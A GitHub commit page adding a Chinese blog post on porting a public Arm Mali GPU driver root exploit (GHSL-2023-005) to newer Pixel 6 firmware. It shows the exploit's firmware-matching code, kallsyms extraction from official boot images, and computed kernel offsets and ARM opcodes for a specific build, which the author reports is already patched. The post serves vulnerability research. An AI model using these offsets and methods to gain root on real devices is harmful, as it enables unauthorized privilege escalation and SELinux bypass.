Skip to content

Commit

Permalink
docs(blog): Added "gain root privilege by arm mali gpu driver vulnera…
Browse files Browse the repository at this point in the history
…bility" blog post
  • Loading branch information
shumxin committed May 18, 2024
1 parent 9294a92 commit 74a4589
Showing 1 changed file with 177 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,177 @@
---
title: 利用 Arm Mali GPU 驱动漏洞获取 root 权限
date: 2024-05-12 21:05:35 +0800
categories: reverse
---

## 背景

最近有在看之前网上公布的关于 ```Pixel``` 系列手机关于 ```Arm Mali GPU``` 驱动的提权漏洞,想确认下新版本的固件是否已经修复该漏洞。本文并不是分析其实现原理和提供挖掘漏洞的思路,而是利用现有的 ```PoC``` 代码适配新版本的固件并尝试验证漏洞是否还存在。

## GHSL-2023-005

这个是比较早的在 ```Pixle 6``` 上有验证过可提权的 ```PoC```。原理方面见 [Rooting with root cause: finding a variant of a Project Zero bug](https://github.blog/2023-05-25-rooting-with-root-cause-finding-a-variant-of-a-project-zero-bug)

函数 [```select_offset```](https://github.com/github/securitylab/blob/b70cfa926c6097b2ea6e8cdda56f381a7f48ce5e/SecurityExploits/Android/Mali/CVE_2022_46395/mali_user_buf.c#L133) 做了部分的固件版本匹配适配。


```c
#define AVC_DENY_2301 0x8ba710

#define SEL_READ_ENFORCE_2301 0x8cdfd4

...

void select_offset() {
char fingerprint[256];
int len = __system_property_get("ro.build.fingerprint", fingerprint);
LOG("fingerprint: %s\n", fingerprint);
if (!strcmp(fingerprint, "google/oriole/oriole:13/TP1A.221105.002/9080065:user/release-keys")) {
avc_deny = AVC_DENY_2211;
sel_read_enforce = SEL_READ_ENFORCE_2211;
fixup_root_shell(INIT_CRED_2211, COMMIT_CREDS_2211, SEL_READ_ENFORCE_2211, ADD_INIT_2211, ADD_COMMIT_2211, &(root_code[0]));
return;
}
if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys")) {
avc_deny = AVC_DENY_2212;
sel_read_enforce = SEL_READ_ENFORCE_2212;
fixup_root_shell(INIT_CRED_2212, COMMIT_CREDS_2212, SEL_READ_ENFORCE_2212, ADD_INIT_2212, ADD_COMMIT_2212, &(root_code[0]));
return;
}
if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys")) {
avc_deny = AVC_DENY_2301;
sel_read_enforce = SEL_READ_ENFORCE_2301;
fixup_root_shell(INIT_CRED_2301, COMMIT_CREDS_2301, SEL_READ_ENFORCE_2301, ADD_INIT_2301, ADD_COMMIT_2301, &(root_code[0]));
return;
}

err(1, "unable to match build id\n");
}
```

## kallsyms

那么问题来了,关于如 ```AVC_DENY_2301``` 的值是如何来的。

需要先了解下 [kallsyms](https://github.com/torvalds/linux/blob/master/kernel/kallsyms.c)

> kallsyms.c: in-kernel printing of symbolic oopses and stack traces.
```Linux``` 内核中,```kallsyms``` 是一个符号表,它包含了内核中所有的符号信息,包括函数、变量、常量等等。

如下的部分内容可从 ```kallsyms``` 导出,其对应关系如下

| | |
| :-- | :---------------- |
| ```AVC_DENY_X``` | [```avc_denied```](http://bricktou.com/security/selinux/avcavc_denied.html) |
| ```SEL_READ_ENFORCE_X``` | [```sel_read_enforce```](https://elixir.bootlin.com/linux/v4.9/source/security/selinux/selinuxfs.c#L132) |
| ```INIT_CRED_X``` | [```init_cred```](https://elixir.bootlin.com/linux/v4.3/source/kernel/cred.c#L43) |
| ```COMMIT_CREDS_X``` | [```commit_creds```](https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L392) |

获取 ```kallsyms``` 符号表有两种方式

- 通过 ```cat``` 命令获取,但是其首先需要有 ```root``` 权限,而我们要做的就是先提权获取 ```root``` 权限。

```bash
oriole:/ $ cat /proc/kallsyms
cat: /proc/kallsyms: Permission denied
1|oriole:/ $ su
oriole:/ # cat /proc/kallsyms
0000000000000000 t acpm_ipc_debugfs_init [gs_acpm]
0000000000000000 t channel_init [gs_acpm]
...
oriole:/ # echo 0 > /proc/sys/kernel/kptr_restrict
oriole:/ # cat /proc/kallsyms
ffffffd7693f0b28 r exynos5433_bank_type_alive [pinctrl_samsung_core]
ffffffd7693f0b34 r exynos5433_bank_type_off [pinctrl_samsung_core]
```

- 通过解析官方 ```boot``` 镜像提取 ```kernel``` 进行分析

首先去[官网](https://developers.google.com/android/images)下载对应自己 ```Pixel``` 机型的镜像文件。比如我手上有 ```Piexl 6```,我下载了 ```image-oriole-tq2a.230505.002``` 版本,后续有验证该版本已经无法通过上述漏洞进行提权了。

从镜像固件里面提取 ```boot.img```,然后解包提取 ```kernel```

```bash
$ ~/AOSP/14.0.0_r29/out/host/linux-x86/bin/unpack_bootimg --boot_img boot.img

$ ls -l out/
total 24376
-rw-rw-r-- 1 shumxin shumxin 24959956 May 12 14:58 kernel
-rw-rw-r-- 1 shumxin shumxin 0 May 12 14:58 ramdisk

$ file out/kernel
kernel: LZ4 compressed data (v0.1-v0.9)
```

通过 ```file``` 查看提取的 ```kernel``` 还不是一个 ```elf```。暂时无法直接获取 ```kallsyms``` 符号表。

这里需要用到 [vmlinux-to-elf](https://github.com/marin-m/vmlinux-to-elf)进行提取。

```bash
$ $HOME/.venv/bin/vmlinux-to-elf out/kernel kernel-vm
$ $HOME/.venv/bin/kallsyms-finder kernel-vm > kallsyms.txt
```

```txt
[+] Version string: Linux version 5.10.149-android13-4-00003-gebdbc9fbe2e2-ab9664856 (build-user@build-host) (Android (8508608, based on r450784e) clang version 14.0.7 (https://android.googlesource.com/toolchain/llvm-project 4c603efb0cca074e9238af8b4106c30add4418f6), LLD 14.0.7) #1 SMP PREEMPT Mon Feb 27 10:44:09 UTC 2023
[+] Guessed architecture: aarch64 successfully in 2.87 seconds
[+] Found kallsyms_token_table at file offset 0x022409a0
[+] Found kallsyms_token_index at file offset 0x02240d40
[+] Found kallsyms_markers at file offset 0x022400e8
[+] Found kallsyms_names at file offset 0x02048828
[+] Found kallsyms_num_syms at file offset 0x02048820
[i] Negative offsets overall: 0 %
[i] Null addresses overall: 0 %
[+] Found kallsyms_offsets at file offset 0x01fbd780
Symbol types => ['B', 'D', 'R', 'T', 'V', 'W', 'b', 'd', 'r', 't']
ffffffc008000000 T _text
...
ffffffc0088bd17c t avc_denied
ffffffc0088d0a64 t sel_read_enforce
ffffffc00aff1380 D init_cred
ffffffc00817a618 T commit_creds
```

其中 ```_text``````kernel``` 的起始虚拟地址。对应的换算关系如下。

```C
#define AVC_DENY_2301 0x8ba710 // ffffffc0108ba710 - ffffffc010000000

#define SEL_READ_ENFORCE_2301 0x8cdfd4 // ffffffc0108cdfd4

#define INIT_CRED_2301 0x2fd1418 // ffffffc012fd1418

#define COMMIT_CREDS_2301 0x177ee4 // ffffffc010177ee4

#define ADD_INIT_2301 0x91106000 // add x0, x0, #0x418

#define ADD_COMMIT_2301 0x913b9108 // add x8, x8, #0xee4

// TQ2A.230505.002

#define AVC_DENY_2305 0x8bd17c // ffffffc0088bd17c - ffffffc008000000

#define SEL_READ_ENFORCE_2305 0x8d0a64 // ffffffc0088d0a64 - ffffffc008000000

#define INIT_CRED_2305 0x2ff1380 // ffffffc00aff1380 - ffffffc008000000

#define COMMIT_CREDS_2305 0x17a618 // ffffffc00817a618 - ffffffc008000000

// 其中 #0x380 取 INIT_CRED_2305 后三个
#define ADD_INIT_2305 0x910e0000 // add x0, x0, #0x380

// 其中 #0x618 取 COMMIT_CREDS 后三位
#define ADD_COMMIT_2305 0x91186108 // add x8, x8, #0x618
```
关于 ```arm``` 指令集操作码可通过 [Online HEX to ARM Converter](https://armconverter.com/?disasm) 进行转化获取 16 进制数据。
## 参考
- [1] [Exploit for GHSL-2023-005](https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Mali/GHSL-2023-005#exploit-for-ghsl-2023-005)
- [2] [CVE-2023-6241](https://github.com/s1204IT/CVE-2023-6241
https://jrgraphix.net/man/K/kallsyms)
- [3] [Potential ARM Mali GPU based root (FireHD 8th -12th gen affected)](https://xdaforums.com/t/potential-arm-mali-gpu-based-root-firehd-8th-12th-gen-affected.4574635/#post-88615941)

0 comments on commit 74a4589

Please sign in to comment.